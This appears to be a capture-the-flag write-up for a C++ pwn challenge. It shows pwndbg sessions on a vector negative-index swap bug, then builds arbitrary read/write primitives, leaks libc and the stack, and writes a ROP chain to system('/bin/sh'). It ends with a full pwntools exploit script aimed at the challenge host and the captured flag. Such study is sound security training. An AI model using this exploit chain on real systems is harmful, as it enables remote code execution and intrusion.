pwndbg> b *0x4015ffBreakpoint 5 at 0x4015ffpwndbg> b *0x40161eBreakpoint 6 at 0x40161epwndbg> continueContinuing.Hi, ram1. Add new number2. Swap numbers3. Exit> 2Index 1: 0Index 2: -3
Breakpoint 5, 0x00000000004015ff in main ()LEGEND: STACK | HEAP | CODE | DATA | WX | RODATA────────────────────────────────────────────────────────────────────[ LAST SIGNAL ]─────────────────────────────────────────────────────────────────────Breakpoint hit at 0x4015ff─────────────────────────────────────────────────[ REGISTERS / show-flags off / show-compact-regs off ]─────────────────────────────────────────────────*RAX 0x418af0 ◂— 0x4d2*RBX 0x418af8 ◂— 0*RCX 0xa*RDX 0*RDI 0x418ad0 —▸ 0x418af0 ◂— 0x4d2 RSI 0*R8 0*R9 0*R10 0xffffffff*R11 0xa R12 1 R13 0 R14 0x404d48 (__do_global_dtors_aux_fini_array_entry) —▸ 0x4012c0 (__do_global_dtors_aux) ◂— endbr64 R15 0x7ffff7ffd000 (_rtld_global) —▸ 0x7ffff7ffe2e0 ◂— 0 RBP 0x7fffffffde70 —▸ 0x7fffffffdf10 —▸ 0x7fffffffdf70 ◂— 0 RSP 0x7fffffffde40 ◂— 0x262696c67*RIP 0x4015ff (main+418) ◂— mov qword ptr [rax], rbx──────────────────────────────────────────────────────────[ DISASM / x86-64 / set emulate on ]──────────────────────────────────────────────────────────b► 0x4015ff <main+418> mov qword ptr [rax], rbx [0x418af0] <= 0x418af8 ◂— 0 0x401602 <main+421> mov rbx, qword ptr [rbp - 0x20] RBX, [0x7fffffffde50] => 0x4d2 0x401606 <main+425> mov rax, qword ptr [rip + 0x3c93] RAX, [vec] => 0x418ad0 —▸ 0x418af0 ◂— 0x418af8 0x40160d <main+432> mov edx, dword ptr [rbp - 0x24] EDX, [0x7fffffffde4c] => 0xfffffffd 0x401610 <main+435> movsxd rdx, edx RDX => 0xfffffffffffffffd 0x401613 <main+438> mov rsi, rdx RSI => 0xfffffffffffffffd 0x401616 <main+441> mov rdi, rax RDI => 0x418ad0 —▸ 0x418af0 —▸ 0x418af8 ◂— ... 0x401619 <main+444> call std::vector<unsigned long long, std::allocator<unsigned long long> >::operator[](unsigned long) <std::vector<unsigned long long, std::allocator<unsigned long long> >::operator[](unsigned long)>
b+ 0x40161e <main+449> mov qword ptr [rax], rbx 0x401621 <main+452> lea rax, [rip + 0x1a20] RAX => 0x403048 ◂— 0x646e4900656e6f44 /* 'Done' */ 0x401628 <main+459> mov rsi, rax RSI => 0x403048 ◂— 0x646e4900656e6f44 /* 'Done' */───────────────────────────────────────────────────────────────────────[ STACK ]────────────────────────────────────────────────────────────────────────00:0000│ rsp 0x7fffffffde40 ◂— 0x262696c6701:0008│-028 0x7fffffffde48 ◂— 0xfffffffd0000000002:0010│-020 0x7fffffffde50 ◂— 0x4d203:0018│-018 0x7fffffffde58 ◂— 0xc97267ab5f63770004:0020│-010 0x7fffffffde60 —▸ 0x7ffff7e7aa50 ◂— 205:0028│-008 0x7fffffffde68 —▸ 0x7fffffffdf98 —▸ 0x7fffffffe227 ◂— '/mnt/c/Users/obscy/Downloads/cbd/cbc_plus_plus_1/cbc_plus_plus_1'06:0030│ rbp 0x7fffffffde70 —▸ 0x7fffffffdf10 —▸ 0x7fffffffdf70 ◂— 007:0038│+008 0x7fffffffde78 —▸ 0x7ffff782a1ca (__libc_start_call_main+122) ◂— mov edi, eax─────────────────────────────────────────────────────────────────────[ BACKTRACE ]────────────────────────────────────────────────────────────────────── ► 0 0x4015ff main+418 1 0x7ffff782a1ca __libc_start_call_main+122 2 0x7ffff782a28b __libc_start_main+139 3 0x401235 _start+37────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────Now the program continues to the menu. Input: 2 0 -3 Meaning: Swap Index 1 = 0 Swap Index 2 = -3 This asks the program to swap: vec[0] with vec[-3] Since vec[-3] is finish, this swaps the first element with the finish pointer.
pwndbg> continueContinuing.Hi, ram1. Add new number2. Swap numbers3. Exit> 2Index 1: 0Index 2: -3
Breakpoint 5, 0x00000000004015ff in main ()LEGEND: STACK | HEAP | CODE | DATA | WX | RODATA────────────────────────────────────────────────────────────────────[ LAST SIGNAL ]─────────────────────────────────────────────────────────────────────Breakpoint hit at 0x4015ff─────────────────────────────────────────────────[ REGISTERS / show-flags off / show-compact-regs off ]─────────────────────────────────────────────────*RAX 0x418af0 ◂— 0x4d2*RBX 0x418af8 ◂— 0*RCX 0xa*RDX 0*RDI 0x418ad0 —▸ 0x418af0 ◂— 0x4d2 RSI 0*R8 0*R9 0*R10 0xffffffff*R11 0xa R12 1 R13 0 R14 0x404d48 (__do_global_dtors_aux_fini_array_entry) —▸ 0x4012c0 (__do_global_dtors_aux) ◂— endbr64 R15 0x7ffff7ffd000 (_rtld_global) —▸ 0x7ffff7ffe2e0 ◂— 0 RBP 0x7fffffffde70 —▸ 0x7fffffffdf10 —▸ 0x7fffffffdf70 ◂— 0 RSP 0x7fffffffde40 ◂— 0x262696c67*RIP 0x4015ff (main+418) ◂— mov qword ptr [rax], rbx──────────────────────────────────────────────────────────[ DISASM / x86-64 / set emulate on ]──────────────────────────────────────────────────────────b► 0x4015ff <main+418> mov qword ptr [rax], rbx [0x418af0] <= 0x418af8 ◂— 0 0x401602 <main+421> mov rbx, qword ptr [rbp - 0x20] RBX, [0x7fffffffde50] => 0x4d2 0x401606 <main+425> mov rax, qword ptr [rip + 0x3c93] RAX, [vec] => 0x418ad0 —▸ 0x418af0 ◂— 0x418af8 0x40160d <main+432> mov edx, dword ptr [rbp - 0x24] EDX, [0x7fffffffde4c] => 0xfffffffd 0x401610 <main+435> movsxd rdx, edx RDX => 0xfffffffffffffffd 0x401613 <main+438> mov rsi, rdx RSI => 0xfffffffffffffffd 0x401616 <main+441> mov rdi, rax RDI => 0x418ad0 —▸ 0x418af0 —▸ 0x418af8 ◂— ... 0x401619 <main+444> call std::vector<unsigned long long, std::allocator<unsigned long long> >::operator[](unsigned long) <std::vector<unsigned long long, std::allocator<unsigned long long> >::operator[](unsigned long)>
b+ 0x40161e <main+449> mov qword ptr [rax], rbx 0x401621 <main+452> lea rax, [rip + 0x1a20] RAX => 0x403048 ◂— 0x646e4900656e6f44 /* 'Done' */ 0x401628 <main+459> mov rsi, rax RSI => 0x403048 ◂— 0x646e4900656e6f44 /* 'Done' */───────────────────────────────────────────────────────────────────────[ STACK ]────────────────────────────────────────────────────────────────────────00:0000│ rsp 0x7fffffffde40 ◂— 0x262696c6701:0008│-028 0x7fffffffde48 ◂— 0xfffffffd0000000002:0010│-020 0x7fffffffde50 ◂— 0x4d203:0018│-018 0x7fffffffde58 ◂— 0xc97267ab5f63770004:0020│-010 0x7fffffffde60 —▸ 0x7ffff7e7aa50 ◂— 205:0028│-008 0x7fffffffde68 —▸ 0x7fffffffdf98 —▸ 0x7fffffffe227 ◂— '/mnt/c/Users/obscy/Downloads/cbd/cbc_plus_plus_1/cbc_plus_plus_1'06:0030│ rbp 0x7fffffffde70 —▸ 0x7fffffffdf10 —▸ 0x7fffffffdf70 ◂— 007:0038│+008 0x7fffffffde78 —▸ 0x7ffff782a1ca (__libc_start_call_main+122) ◂— mov edi, eax─────────────────────────────────────────────────────────────────────[ BACKTRACE ]────────────────────────────────────────────────────────────────────── ► 0 0x4015ff main+418 1 0x7ffff782a1ca __libc_start_call_main+122 2 0x7ffff782a28b __libc_start_main+139 3 0x401235 _start+37────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────pwndbg> b *0x4015ffNote: breakpoint 5 also set at pc 0x4015ff.Breakpoint 7 at 0x4015ffpwndbg> p/x $rax$4 = 0x418af0pwndbg> p/x $rbx$5 = 0x418af8pwndbg> x/gx $rax0x418af0: 0x00000000000004d2pwndbg> set $vecobj = *(unsigned long long*)0x4052a0pwndbg> x/3gx $vecobj0x418ad0: 0x0000000000418af0 0x0000000000418af80x418ae0: 0x00000000004192f0pwndbg> continueContinuing.
Breakpoint 6, 0x000000000040161e in main ()LEGEND: STACK | HEAP | CODE | DATA | WX | RODATA────────────────────────────────────────────────────────────────────[ LAST SIGNAL ]─────────────────────────────────────────────────────────────────────Breakpoint hit at 0x40161e─────────────────────────────────────────────────[ REGISTERS / show-flags off / show-compact-regs off ]─────────────────────────────────────────────────*RAX 0x418ad8 —▸ 0x418af8 ◂— 0*RBX 0x4d2 RCX 0xa*RDX 0xffffffffffffffe8 RDI 0x418ad0 —▸ 0x418af0 —▸ 0x418af8 ◂— 0*RSI 0xfffffffffffffffd R8 0 R9 0 R10 0xffffffff R11 0xa R12 1 R13 0 R14 0x404d48 (__do_global_dtors_aux_fini_array_entry) —▸ 0x4012c0 (__do_global_dtors_aux) ◂— endbr64 R15 0x7ffff7ffd000 (_rtld_global) —▸ 0x7ffff7ffe2e0 ◂— 0 RBP 0x7fffffffde70 —▸ 0x7fffffffdf10 —▸ 0x7fffffffdf70 ◂— 0 RSP 0x7fffffffde40 ◂— 0x262696c67*RIP 0x40161e (main+449) ◂— mov qword ptr [rax], rbx──────────────────────────────────────────────────────────[ DISASM / x86-64 / set emulate on ]────────────────────────────────────────────────────────── 0x40160d <main+432> mov edx, dword ptr [rbp - 0x24] EDX, [0x7fffffffde4c] => 0xfffffffd 0x401610 <main+435> movsxd rdx, edx RDX => 0xfffffffffffffffd 0x401613 <main+438> mov rsi, rdx RSI => 0xfffffffffffffffd 0x401616 <main+441> mov rdi, rax RDI => 0x418ad0 —▸ 0x418af0 —▸ 0x418af8 ◂— ... 0x401619 <main+444> call std::vector<unsigned long long, std::allocator<unsigned long long> >::operator[](unsigned long) <std::vector<unsigned long long, std::allocator<unsigned long long> >::operator[](unsigned long)>
b► 0x40161e <main+449> mov qword ptr [rax], rbx [0x418ad8] <= 0x4d2 0x401621 <main+452> lea rax, [rip + 0x1a20] RAX => 0x403048 ◂— 0x646e4900656e6f44 /* 'Done' */ 0x401628 <main+459> mov rsi, rax RSI => 0x403048 ◂— 0x646e4900656e6f44 /* 'Done' */ 0x40162b <main+462> lea rax, [rip + 0x3a0e] RAX => 0x405040 (std::cout@GLIBCXX_3.4) —▸ 0x7ffff7e74310 (vtable for std::basic_ostream<char, std::char_traits<char> >+24) —▸ 0x7ffff7d55670 (std::basic_ostream<char, std::char_traits<char> >::~basic_ostream()) ◂— ... 0x401632 <main+469> mov rdi, rax RDI => 0x405040 (std::cout@GLIBCXX_3.4) —▸ 0x7ffff7e74310 (vtable for std::basic_ostream<char, std::char_traits<char> >+24) —▸ 0x7ffff7d55670 (std::basic_ostream<char, std::char_traits<char> >::~basic_ostream()) ◂— ... 0x401635 <main+472> call std::basic_ostream<char, std::char_traits<char> >& std::operator<< <std::char_traits<char> >(std::basic_ostream<char, std::char_traits<char> >&, char const*)@plt <std::basic_ostream<char, std::char_traits<char> >& std::operator<< <std::char_traits<char> >(std::basic_ostream<char, std::char_traits<char> >&, char const*)@plt>───────────────────────────────────────────────────────────────────────[ STACK ]────────────────────────────────────────────────────────────────────────00:0000│ rsp 0x7fffffffde40 ◂— 0x262696c6701:0008│-028 0x7fffffffde48 ◂— 0xfffffffd0000000002:0010│-020 0x7fffffffde50 ◂— 0x4d203:0018│-018 0x7fffffffde58 ◂— 0xc97267ab5f63770004:0020│-010 0x7fffffffde60 —▸ 0x7ffff7e7aa50 ◂— 205:0028│-008 0x7fffffffde68 —▸ 0x7fffffffdf98 —▸ 0x7fffffffe227 ◂— '/mnt/c/Users/obscy/Downloads/cbd/cbc_plus_plus_1/cbc_plus_plus_1'06:0030│ rbp 0x7fffffffde70 —▸ 0x7fffffffdf10 —▸ 0x7fffffffdf70 ◂— 007:0038│+008 0x7fffffffde78 —▸ 0x7ffff782a1ca (__libc_start_call_main+122) ◂— mov edi, eax─────────────────────────────────────────────────────────────────────[ BACKTRACE ]────────────────────────────────────────────────────────────────────── ► 0 0x40161e main+449 1 0x7ffff782a1ca __libc_start_call_main+122 2 0x7ffff782a28b __libc_start_main+139 3 0x401235 _start+37────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────pwndbg> b *0x40161eNote: breakpoint 6 also set at pc 0x40161e.Breakpoint 8 at 0x40161epwndbg> p/x $rax$6 = 0x418ad8pwndbg> p/x $rbx$7 = 0x4d2pwndbg> x/gx $rax0x418ad8: 0x0000000000418af8pwndbg> set $vecobj = *(unsigned long long*)0x4052a0pwndbg> x/3gx $vecobj0x418ad0: 0x0000000000418af0 0x0000000000418af80x418ae0: 0x00000000004192f0Turning finish Corruption into Arbitrary Write
Write primitive
The exploit uses this sequence:
add(target_address)swap(current_index, -3)add(value)swap(current_index, -3)Explanation:
add(target_address)→vector[current_index] = target_addressswap(current_index, -3)→ swapsvector[current_index]withvector.finish→finish = target_addressadd(value)→push_back(value)→ writesvaluetofinish→*(uint64_t *)target_address = valueswap(current_index, -3)→ restoresfinishso the vector still works
So i build:
def write64(address, value): global next_index add_number(address) swap_numbers(next_index, VECTOR_FINISH_INDEX) add_number(value) swap_numbers(next_index, VECTOR_FINISH_INDEX) next_index += 1This gives:
*(uint64_t *)address = value;I’m so confused tbh…
Turning Arbitrary Write into Arbitrary Read
Why corrupt name?
The menu repeatedly prints:
std::cout << "Hi, " << name << std::endl;The global string is at:
name = 0x405280Confirm with:
nm -C ./cbc_plus_plus_1 | grep nameExpected:
0000000000405280 B name[abi:cxx11]The std::string layout we abuse:
name + 0x00 = pointer to string buffername + 0x08 = string lengthSo we overwrite:
name.ptr = target_addressname.len = 8Then the next menu print leaks 8 bytes from target_address.
So i build:
def point_name_to(address, length): write64(NAME_PTR, address) write64(NAME_LEN, length)
def leak(address, size=8): point_name_to(address, size) data = wait_menu() marker = b"Hi, " start = data.rfind(marker) if start == -1: log.failure(f"leak marker not found: {data!r}") exit(1) leaked = data[start + len(marker):] end = leaked.find(b"\n1. Add") if end != -1: leaked = leaked[:end] return leaked.ljust(size, b"\x00")[:size]
def leak64(address): return u64(leak(address, 8))Now we have both: arbitrary write and arbitrary read.
Libc Leak
Because the binary has No PIE, GOT addresses are fixed.
Leak:
__libc_start_main@GOT = 0x404ff0With:
libc_start_main = leak64(LIBC_START_MAIN_GOT)Then:
libc.address = libc_start_main - libc.sym["__libc_start_main"]We identified the remote libc as Ubuntu glibc 2.39. The relevant offsets were:
__libc_start_main = 0x2a200__libc_start_main_ret = 0x2a1casystem = 0x58740/bin/sh = 0x1cb42fenviron = 0x20ad58Download the libc:
wget -O libc.so.6 'https://libc.rip/download/libc6_2.39-0ubuntu8.2_amd64.so'Stack Leak via environ
After libc base is known, leak:
stack_leak = leak64(libc.sym["environ"])environ is a libc symbol pointing to the process environment pointer array. On Linux, environment strings/pointers live near the stack, so leaking environ gives a stack pointer useful for finding saved return addresses.
Then search downward for:
libc.address + 0x2a1caThat value is __libc_start_main_ret.
References: https://pwndbg.re/stable/reference/pwndbg/commands/telescope/
0x7fffffffde78 → 0x7ffff782a1ca (__libc_start_call_main+122)That stack entry is the return address for main. Remotely, we scan from environ until we find that value.
def find_saved_rip(stack_leak): libc_start_main_ret = libc.address + 0x2a1ca log.info(f"searching for __libc_start_main_ret = {hex(libc_start_main_ret)}") for offset in range(0, 0x1000, 8): address = stack_leak - offset value = leak64(address) if value == libc_start_main_ret: return address return NoneBuild ROP
ROP chain:
retpop rdi; ret/bin/shsystemWhy:
ret= stack alignmentpop rdi; ret= first argument goes into RDI/bin/sh= argument tosystemsystem=system("/bin/sh")
pwntools provides ELF and ROP helpers to load symbols, search for /bin/sh, and find gadgets.
rop = ROP(libc)ret = rop.find_gadget(["ret"])[0]pop_rdi = rop.find_gadget(["pop rdi", "ret"])[0]bin_sh = next(libc.search(b"/bin/sh\x00"))system = libc.sym["system"]
log.success(f"ret = {hex(ret)}")log.success(f"pop rdi; ret = {hex(pop_rdi)}")log.success(f"/bin/sh = {hex(bin_sh)}")log.success(f"system = {hex(system)}")
chain = [ ret, pop_rdi, bin_sh, system,]write_rop_chain(saved_rip, chain)Trigger return:
choose(3)Then:
Bye!…and the process returns into system("/bin/sh").
Final Solver
from pwn import *
HOST = "pwn.cbd2026.cloud"PORT = 9999
exe = ELF("./cbc_plus_plus_1")libc = ELF("./libc.so.6")context.binary = execontext.log_level = "info"
NAME = 0x405280NAME_PTR = NAMENAME_LEN = NAME + 8LIBC_START_MAIN_GOT = 0x404ff0VECTOR_FINISH_INDEX = -3
next_index = 0have_prompt = False
def start(): if args.LOCAL: return process(exe.path) return remote(HOST, PORT)
io = start()
def wait_menu(): global have_prompt if have_prompt: return b"" data = io.recvuntil(b"> ") have_prompt = True return data
def choose(option): global have_prompt wait_menu() io.sendline(str(option).encode()) have_prompt = False
def add_number(value): choose(1) io.recvuntil(b"Num: ") io.sendline(str(value & 0xffffffffffffffff).encode()) io.recvuntil(b"Done")
def swap_numbers(index_a, index_b): choose(2) io.recvuntil(b"Index 1: ") io.sendline(str(index_a).encode()) io.recvuntil(b"Index 2: ") io.sendline(str(index_b).encode()) io.recvuntil(b"Done")
def write64(address, value): global next_index add_number(address) swap_numbers(next_index, VECTOR_FINISH_INDEX) add_number(value) swap_numbers(next_index, VECTOR_FINISH_INDEX) next_index += 1
def point_name_to(address, length): write64(NAME_PTR, address) write64(NAME_LEN, length)
def leak(address, size=8): point_name_to(address, size) data = wait_menu() marker = b"Hi, " start = data.rfind(marker) if start == -1: log.failure(f"leak marker not found: {data!r}") exit(1) leaked = data[start + len(marker):] end = leaked.find(b"\n1. Add") if end != -1: leaked = leaked[:end] return leaked.ljust(size, b"\x00")[:size]
def leak64(address): return u64(leak(address, 8))
def write_rop_chain(address, chain): for i, value in enumerate(chain): target = address + i * 8 log.info(f"write {hex(value)} -> {hex(target)}") write64(target, value)
def find_saved_rip(stack_leak): libc_start_main_ret = libc.address + 0x2a1ca log.info(f"searching for __libc_start_main_ret = {hex(libc_start_main_ret)}") for offset in range(0, 0x1000, 8): address = stack_leak - offset value = leak64(address) if value == libc_start_main_ret: return address return None
def main(): io.recvuntil(b"Your name: ") io.sendline(b"ram")
libc_start_main = leak64(LIBC_START_MAIN_GOT) log.success(f"__libc_start_main = {hex(libc_start_main)}")
libc.address = libc_start_main - libc.sym["__libc_start_main"] log.success(f"libc base = {hex(libc.address)}")
stack_leak = leak64(libc.sym["environ"]) log.success(f"environ = {hex(stack_leak)}")
saved_rip = find_saved_rip(stack_leak) if saved_rip is None: log.failure("could not find saved RIP") io.interactive() return log.success(f"saved RIP = {hex(saved_rip)}")
rop = ROP(libc) ret = rop.find_gadget(["ret"])[0] pop_rdi = rop.find_gadget(["pop rdi", "ret"])[0] bin_sh = next(libc.search(b"/bin/sh\x00")) system = libc.sym["system"]
log.success(f"ret = {hex(ret)}") log.success(f"pop rdi; ret = {hex(pop_rdi)}") log.success(f"/bin/sh = {hex(bin_sh)}") log.success(f"system = {hex(system)}")
chain = [ ret, pop_rdi, bin_sh, system, ] write_rop_chain(saved_rip, chain)
choose(3) io.sendline(b"id") io.sendline(b"cat flag.txt") io.interactive()
if __name__ == "__main__": main()Flag

CBC{c47884f6827d5fdb9799e7dad890e04934f47b29ab5e9f20a04bb4d6d9426fcb}References
- https://pwndbg.re/stable/reference/pwndbg/commands/telescope/
- https://en.cppreference.com/cpp/container/vector
- https://fr.cppreference.com/cpp/container/vector/operator_at